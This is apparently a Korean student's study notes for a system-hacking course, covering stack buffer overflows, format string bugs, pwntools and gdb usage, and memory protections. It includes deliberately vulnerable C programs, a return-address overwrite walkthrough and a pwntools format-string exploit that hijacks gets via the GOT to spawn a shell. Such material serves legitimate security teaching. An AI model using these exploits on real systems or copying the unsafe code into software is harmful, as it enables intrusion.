대외활동 및 팀플/빡공팟(P4C) 시스템 해킹 트랙 4기

[빡공팟 4기]7주차 과제: 올드스쿨 취약점, 올드스쿨 공격법 공부하기

EYEN 2022. 7. 11. 05:30

#1

버퍼오버플로우 취약점

: c언어나 c++에서 buffer에 데이터를 입력받을 때 입력 값의 크기를 검증하지 않아서 데이터가 다른 변수의 메모리를 덮어 씌우는 버그. 버퍼에 할당한 메모리보다 더 큰 양의 데이터를 집어넣어서 버퍼 안에 들어가지 못한 데이터가 다른 메모리에 들어가게 됨.

1. 스택의 기본 구조

buffer: 데이터가 저장되는 공간
sfp(saved frame pointer): 이전함수의 ebp 주소를 저장하고 있는 공간
ret:다음에 실행해야하는 명령이 위치한 메모리주소값

RET(4bytes)
SFP(4bytes)
buf

2. 버퍼오퍼플로우가 생기는 함수


- 예시 코드1

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
	char buf[256];
    
    strcpy(buf,argv[1]);
    printf("%s\n", buf);
}

strcpy: stringcopy, null byte(문자열의 끝)를 만날 때까지 문자열을 복사하는 함수, 복사하는 버퍼의 크기를 검증하지 않기 때문에 할당한 버퍼 크기보다 더 많은 데이터를 버퍼에 복사한다

- 예시 코드2

#include <stdio.h>

int main(int argc, char *argv[])
{
	char buf[256];
    
    gets(buf);
    printf("%s\n", buf);
}

gets: EOF나 new line문자가 나올 때까지 입력 받고 EOF나 new line문자가 입력되면 null byte로 바꾸는 함수, 입력값의 크기를 검증하지 않기 때문에 할당한 버퍼 크기보다 더 많은 데이터를 버퍼에 복사한다.

- 예시코드3

#include <stdio.h>

int main(int argc, char *argv[])
{
           char buf[0x80];
           initialize();
           printf(“buf: %p\n”, buf);
           scanf("%200s", buf);
           return 0;
}

scanf: 버퍼의 크기를 고려하지 않고 엔터가 입력될 때까지 입력을 받는다.

- 예시코드4

#include <stdio.h>
#include <string.h>
 
int main(int argc, char ** crgv)
{
           char buf[10];
           if(argc < 2)
           {
                     printf(“%s\n”, argv[0]);
                     return 0;
           }
           strcat(buf, argv[1]);
           printf(“buf: %s\n”, buf);
}

strcat: buf의 크기를 고려하지 않고 argv[1]을 붙여 버린다.

3. 공격(RET overwrite)

입력 값을 확인하지 않는 입력 함수에 정상적인 크기보다 큰 입력값을 입력하여 return address를 원하는 주소로 덮어 씌워 Instruction Pointer를 제어할 수 있다. 메모리 어딘가에 원하는 행동을 하게 하는 shell code를 넣고 IP를 쉘 코드가 들어있는 주소로 조작하면 된다

3-1 공격절차

(1) 취약 파일에 python을 이용해 ret이 있을 것으로 추정되는 값보다 큰 양을 입력한다 그러면 segmentation fault가 나옴.
(2) 예시코드1의 경우 argv[1]에 쉘코드를 넣어주고, ret address를 buf의 주소로 바꿔줄 수 있다. 이때 코드를 어셈블리어로 바꿔서 브레이크포인트를 걸어가며 buf의 주소를 찾을 수 있다.
(3) python을 이용해 ret address가 쉘코드를 가리키도록 해준다.

3-2 쉘코드와 익스플로잇

(1) shell code란?

시스템 해킹의 목적은 관리자 권한을 탈취하는 것, 관리자 권한의 쉘을 얻는 것, cmd도 쉘이다.
쉘코드는 쉘을 실행시키는 기계어 코드이다.

(2) 익스플로잇이란?

취약점 공격, 컴퓨터의 소프트웨어난 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정 데이터 조작과 그를 이용한 공격 행위

3-3 실습

(1)드림핵을 따라 실습해볼 것이다.

#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf); -> 입력의 길이를 제한하지 않아 널바이트까지 계속 입력을 받음
  return 0;
}

파일을 실행하면 인풋 값을 받는데 이때 a를 많이 넣어주면 segmentation fault가 생기며 core파일이 생긴다.
core파일이 안 생기면

sudo sysctl -w kernel.core_pattern=core
sudo sysctl -w kernel.core_uses_pid=1

이렇게 설정해주면 된다.

segmentation fault가 뜨는 모습

그렇게 메모리를 보면 lea rax, [rbp-0x30]라는 부분이 있다. 이 말인 즉슨,

메모리가 이런 형태를 띄고 있다는 뜻이다.
그리고 이 소스코드에는 get_shell이 있으므로

이 주소를 이용해 익스플로잇을 작성할 수 있다.
인텔 x86-64아키텍처를 쓰므로 0x4006aa는 리틀 엔디언으로 표현해야 해서 '\xaa\x06\x40\x00\x00\x00\x00\x00' 로 표현된다. 이 주소를 ret에 적어야하므로 buffer와 stack frame pointer를 모두 덮어야 한다. 그래서 b'A'*0x30+b'B'*0x8를 먼저 보낸 다음 get_shell함수의 주소를 적어준다. 여기서 b는 byte를 뜻한다.

#2

format string bug 취약점



: printf 를 틀리게 선언했을 때 인자로 정해두지 않은 곳을 가리키게 되어 메모리를 출력하게 되는 취약점.

1. 발생원인

printf의 인자 개수는 포맷 문자 개수로 결정된다.

printf("%d",n);

이렇게 printf뒤에 (%자료형, 그에 맞는 인자)가 맞는 형식인데 (%d)이렇게만 선언했을 때 스택에서 다음과 같은 일이 벌어진다.

64bit에서 FSB (Format String Bug) 이해하기 -(1) (tistory.com)

오른쪽 메모리에서 FSB취약점이 발생한 것을 알 수 있다.

- 포맷 스트링 버그가 생기는 코드

#include<stdio.h>
int main(int argc, char *arg[])
{
	char buf[256];
    strncpy(buf,argv[1], sizeof(buf));
    printf(buf);
}

 

2. 공격법

 

(1) 포맷스트링이 가리키는 위치 파악하기

- %p를 통해 메모리를 유출할 수 있고, %[숫자]$p를 통해 [숫자]만큼 떨어져 있는 메모리를 출력할 수 있다.
보통 AAAA%p%p%p%p%p를 해서 몇번째 포맷에 41414141이 있는지 찾는다.
+ %p(포인터의 주소값을 찍어내는 서식 지정자, %x랑 같은기능이지만 %x는 4bytes만 출력해주는데 %p는 32bit에 서는 4bytes, 64bit에서 8bytes로 출력해줌)
+ 64bit에서는 6개의 인자는 레지스터에 먼저 저장하고, 그 이상의 인자는 스택에 저장시키기 때문에 7번째부터 스택에 저장된다는 특징이 있다고 한다. 그래서 offset은 6이상이다.

(2) 원하는 코드가 있는 주소를 입력값으로 하고 %[몇번째 포맷]$n해주는 방식인데... 이건 코드마다 다 다르다...

- %n: 지정된 변수에 %n전까지 출력된 문자의 개수를 10진수 형식으로 써준다. 입력을 위한 포맷 스트링 문자이다.
+ %n: 4바이트 %hn: 2바이트 %hhn:1바이트

3. 공격 실습

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    system("echo hi");

    for (int i = 0; i < 10; i++)
    {
        char buf[512];
        gets(buf);
        fprintf(stderr, buf);
    }

    return 0;
}

버퍼의 위치를 알아보기 위해 A와 %x를 넣어 메모리를 유출시킨다.

A는 16진수로 41이다

41414141이 6번째에 나오므로 buf의 주소는 6번째부터임을 알 수 있다.

system@plt=0x8048390
gets@plt=0x8048370이다.
이제 get의 got값에 system의 plt값을 넣으면 gets할 때 시스템 함수가 실행되어 쉘을 딸 수 있다.
주신 solve파일을 보자

from pwn import *

e = ELF("EasyFSB")
p = process(e.path)

payload  = b"/bin/sh;" 
payload += fmtstr_payload(8, {e.got['gets']: e.plt['system']}, numbwritten=8)

p.sendline(payload)
p.interactive()

fmstr_payload의 파라미터는 (offset, addr:value, 이미 써놓은 바이트 수)이다.
offset은 6으로 구했지만 /bin/sh;라는 값을 넣어주기 때문에 8로 한다.

 

 

#3

유용한 도구들

 

1. pwntools 사용법

(1) pwn모듈 import

from pwn import*

(2) process 클래스의 인스턴스 만들어서 elf 파일실행

p=process("파일이름")

(3) 여러 함수들

1. process&remote

 

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
p = ssh(user,host,port,password)

2. send

from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력


3.recv

from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 받아서 data에 저장

4.packing&unpacking

from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))

5. ELF

from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

6.context.log

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

7. context, arch

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

8.shellcraft

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)

 

+ PLT와 GOT

: 동적 링킹(공유된 라이브러리에서 함수가져올때) 컴파일하고 링크하는 과정에서 사용된다.
1. PLT(Procedure Linkage Table): 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 테이블
2. GOT(Global Offset Table):PLT에서 호출하는 resolve()함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블
3. 동작과정
(1) 동적으로 링크된 바이너리에서 라이브러리의 함수를 호출( call 함수@plt)
(2) PLT에 접근하여 GOT로 점프
(3) 처음 호출한 경우 링커가 dl_resolve()함수를 통해 라이브러리 함수의 실제 주소를 알아내 GOT에 쓴다
(4) GOT에 있는 라이브러리 함수의 실제주소를 이용해 호출한다.

2. pwngdb 사용법

(1) 얼마나 볼건지

x/16xw $esp : esp부터 16만큼 보기
x/4xw $esp : esp부터 4만큼 보기
x/5xw $esp : esp부터 5만큼 보기

(2) 어떤 형태로 볼건지

x/2xw $esp : 16진수
x/2ow $esp : 8진수
x/2tw $esp : 2진수
x/2dw $esp : 부호 있는 10진수
x/2uw $esp : 부호 없는 10진수

(3)몇 바이트 단위로 볼건지

x/2xw $esp : 8바이트 단위로
x/2xh $esp : 4바이트 단위로
x/2xb $esp : 2바이트 단위로

#4

보호기법

 

1. ASLR(Address Space Layout Randomization):스택, 힙, 라이브러리의 주소을 랜덤화하여 EIP 변조를 무력화 시키는 메모리 보호 기법
2. Stack canary: 스택 프레임의 return 주소 전에 랜덤한 canary를 넣어 반환 주소를 덮기 어렵게 함
3. Relro :(RELocation Read Only, 데이터가 배치된 메모리의 어느 부분에 읽기 전용 속성을 부여하는 기법)
4. NX(Never eXecute):프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리해줌, 명령어를 찾으러 갔는데 명령어가 거기 없는거임
5. PIE(Position Independent Executable): 프로그램을 실행할 때마다 전역 변수와 사용자 정의 함수의 주소를 매번 바꿔줌

Arch: i386-32-little
RELRO: No RELRO 
Stack: Canary found :보호하는 메모리 존재
NX: NX disabled : 버퍼에 직접 shell code 주입 가능
PIE: NO PIE(0x8048000) : binary의 base address는 바뀌지 않는다
RWX: HAS RWX segments